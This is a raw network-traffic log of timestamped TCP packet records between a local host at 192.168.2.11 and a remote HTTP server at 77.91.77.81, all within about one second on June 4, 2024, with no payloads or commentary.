Jun 4, 2024 23:09:16.747695923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747697115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747710943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747721910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747724056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747736931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747745991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747771025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747924089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747937918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747945070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747956038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747972965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747973919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747984886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747987986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748003006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748007059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748014927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748025894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748029947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748039007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748044014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748051882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748064041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748070955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748076916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748085022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748086929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748101950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748106003 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748109102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748116016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748121977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748126984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748131990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748137951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748148918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748169899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748200893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748202085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748213053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748225927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748241901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748248100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748255968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748256922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748266935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748279095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748285055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748297930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748305082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748310089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748321056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748325109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748333931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748346090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748347044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748369932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748375893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748378992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748388052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748399973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748410940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748411894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748419046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748439074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748445988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748579025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748598099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748610020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748620033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748631001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748636961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748645067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748658895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748663902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748672009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748672962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748683929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748687029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748696089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748708963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748714924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748724937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748727083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748739004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748748064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748752117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.748770952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748797894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.748991966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749005079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749017000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749044895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749066114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749133110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749145031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749151945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749161959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749181032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749181032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749195099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749202967 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749206066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749218941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749224901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749237061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749243975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749248981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749269009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749269962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749281883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749286890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749294996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749310017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749311924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749325037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749325991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749336958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749340057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749351025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749356031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749366045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749381065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749406099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749427080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749444962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749456882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749464989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749470949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749484062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749490976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749495983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749497890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749509096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749527931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749530077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749541044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749550104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749553919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749567986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749573946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749583960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749591112 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749604940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749610901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749624968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749625921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749636889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749638081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749650002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749663115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749669075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749669075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749675035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749686956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749686956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749697924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749697924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749710083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749713898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749722958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749733925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749742985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749746084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749758959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749764919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749771118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749784946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749790907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749797106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749798059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749809027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.749824047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.749847889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.869225025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869249105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869261026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869272947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869283915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869290113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869383097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.869427919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.869817019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869853973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869890928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.869908094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.869972944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870018959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870026112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870062113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870096922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870107889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870138884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870151043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870186090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870218992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870229006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870275021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870316982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870325089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870357990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870392084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870402098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870423079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870464087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870474100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870511055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870547056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870554924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870583057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870628119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870634079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870670080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870706081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870712996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870739937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870771885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870788097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870810032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870846033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870851040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870879889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870913982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870925903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.870949030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870982885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.870990992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871018887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871052027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871061087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871087074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871123075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871129990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871162891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871177912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871212959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871247053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871256113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871280909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871323109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871331930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871372938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871372938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871407032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871439934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871448040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871495008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871542931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871546030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871581078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871614933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871623039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871670961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871715069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871721029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871756077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871784925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871798992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871835947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871870995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871881008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871905088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871941090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.871951103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.871990919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872025013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872031927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872059107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872102022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872111082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872147083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872180939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872188091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872214079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872256041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872266054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872299910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872334003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872343063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872369051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872406006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872416019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872457027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872508049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872524023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872560024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872600079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872612000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872647047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872680902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872687101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872715950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872755051 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872766972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872797966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872831106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872837067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872876883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872915983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.872927904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872962952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.872996092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873002052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873029947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873063087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873068094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873100042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873114109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873148918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873183012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873187065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873224020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873260975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873264074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873296022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873338938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873338938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873393059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873436928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873444080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873495102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873529911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873539925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873567104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873600006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873609066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873634100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873672962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.873687029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873720884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.873754025 CEST	80	49713	77.91.77.81	192.168.2.11
